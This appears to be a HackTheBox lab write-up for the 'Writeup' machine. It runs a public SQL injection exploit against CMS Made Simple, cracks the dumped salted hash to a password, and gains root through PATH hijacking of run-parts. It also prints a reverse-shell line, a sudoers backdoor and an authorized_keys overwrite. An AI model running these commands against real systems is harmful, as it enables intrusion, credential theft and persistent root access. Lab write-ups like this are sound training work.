Post

Writeup - CVE SQLi

Posted Updated
By k0NN
4 min read
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

ares@legion:~/HackTheBox$ sudo nmap -sV -A -T4 $target       
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-07 13:54 EET
Nmap scan report for 10.10.10.138 (10.10.10.138)
Host is up (0.051s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey: 
|   256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_  256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Nothing here yet.
| http-robots.txt: 1 disallowed entry 
|_/writeup/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (97%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:6.0
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 3.4 - 3.10 (91%), Linux 4.15 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.19 - 5.15 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   50.33 ms 10.10.14.1 (10.10.14.1)
2   50.58 ms 10.10.10.138 (10.10.10.138)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.50 seconds

From robots.txt Disallow directory: Image

View page Source > Image CMS Made Simple 2019 version > Dork for CVE

Vulnerable to: https://github.com/so1icitx/CVE-2019-9053 python3 - only tests if its vulnerable. https://www.exploit-db.com/exploits/46635 python2

1
2
3
4
5
6
7

python2 46635 -u http://10.10.10.138/writeup


[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

hashid -j '62def4866937f08cc13bab43bb14e6f7'
Analyzing '62def4866937f08cc13bab43bb14e6f7'
[+] MD2 [JtR Format: md2]
[+] MD5 [JtR Format: raw-md5]
[+] MD4 [JtR Format: raw-md4]
[+] Double MD5 
[+] LM [JtR Format: lm]
[+] RIPEMD-128 [JtR Format: ripemd-128]
[+] Haval-128 [JtR Format: haval-128-4]
[+] Tiger-128 
[+] Skein-256(128) 
[+] Skein-512(128) 
[+] Lotus Notes/Domino 5 [JtR Format: lotus5]
[+] Skype 
[+] Snefru-128 [JtR Format: snefru-128]
[+] NTLM [JtR Format: nt]
[+] Domain Cached Credentials [JtR Format: mscach]
[+] Domain Cached Credentials 2 [JtR Format: mscach2]
[+] DNSSEC(NSEC3) 
[+] RAdmin v2.x [JtR Format: radmin]


1
2
3
4
5
6
7

echo '62def4866937f08cc13bab43bb14e6f7:5a599ef579066807' >> hash
hashcat --example-hashes | grep -B5 -A5 md5 
hashcat -a 0 -m 20 hash /usr/share/wordlists/rockyou.txt

62def4866937f08cc13bab43bb14e6f7:5a599ef579066807:raykayjay9



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

jkr@writeup:~$ find / -type f -perm -04000 -ls 2>/dev/null
      934     40 -rwsr-xr-x   1 root     root        40536 May 17  2017 /bin/su
    10463     32 -rwsr-xr-x   1 root     root        30800 Aug 21  2018 /bin/fusermount
      296     40 -rwsr-xr-x   1 root     root        40200 May  4  2018 /bin/mount
     1080     60 -rwsr-xr-x   1 root     root        61240 Nov 10  2016 /bin/ping
      297     28 -rwsr-xr-x   1 root     root        27616 May  4  2018 /bin/umount
   131153     76 -rwsr-xr-x   1 root     root        75792 May 17  2017 /usr/bin/gpasswd
   147121     28 -rwsr-xr-x   1 root     root        27448 Mar 18  2019 /usr/bin/pkexec
   131150     52 -rwsr-xr-x   1 root     root        50040 May 17  2017 /usr/bin/chfn
   131154     60 -rwsr-xr-x   1 root     root        59680 May 17  2017 /usr/bin/passwd
   134385     40 -rwsr-xr-x   1 root     root        40312 May 17  2017 /usr/bin/newgrp
   131151     40 -rwsr-xr-x   1 root     root        40504 May 17  2017 /usr/bin/chsh
   142453     12 -rwsr-xr-x   1 root     root        10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   147124     16 -rwsr-xr-x   1 root     root        14848 Mar 18  2019 /usr/lib/policykit-1/polkit-agent-helper-1
   133268    640 -rwsr-xr-x   1 root     root       653888 Sep 23  2023 /usr/lib/openssh/ssh-keysign
   157371     16 -r-sr-xr-x   1 root     root        14320 Aug 23  2019 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
   158879     16 -r-sr-xr-x   1 root     root        13628 Aug 23  2019 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
   140165     44 -rwsr-xr--   1 root     messagebus    44048 Mar 16  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

1
2

jkr@writeup:~$ pkexec --version
pkexec version 0.105

Rabbit-hole: https://www.exploit-db.com/exploits/50689 https://github.com/mebeim/CVE-2021-4034

Privesc beat me on this one.

1
2
3
4
5
6
7

jkr@writeup:~$ id
uid=1000(jkr) gid=1000(jkr) groups=1000(jkr),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),50(staff),103(netdev)

jkr@writeup:/usr/local$ ls -ld /usr/local/bin /usr/local/sbin
drwx-wsr-x 2 root staff 20480 Apr 19  2019 /usr/local/bin
drwx-wsr-x 2 root staff 12288 Apr 19  2019 /usr/local/sbin


1
2
3
4

wget https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy32
scp pspy32 jkr@10.10.10.138:/tmp
chmod +x pspy32
./pspy32 // login with ssh in another shell

Image With that in mind, we will now create a malicious run-parts file in /usr/local/bin , which we know will be executed as soon as we SSH into the machine.

Path Hijacking:

1
2
3
4
5

echo -e '#!/bin/bash\n\nchmod u+s /bin/bash' > /usr/local/bin/runparts; chmod +x /usr/local/bin/run-parts

jkr@writeup:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1099016 May 15  2017 /bin/bash

Instead of setting the suid bit to the owner (root) we can also try:

1
2
3
4
5
6
7
8
9

Create a reverse shell
echo 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' > /usr/local/bin/run-parts

Or add user to sudoers
echo 'echo "jkr ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/bin/run-parts

Or copy SSH key
echo 'cp /home/jkr/.ssh/id_rsa.pub /root/.ssh/authorized_keys' > /usr/local/bin/run-parts
HackTheBox Writeups, Linux
hackthebox linux
This post is licensed under CC BY 4.0 by the author.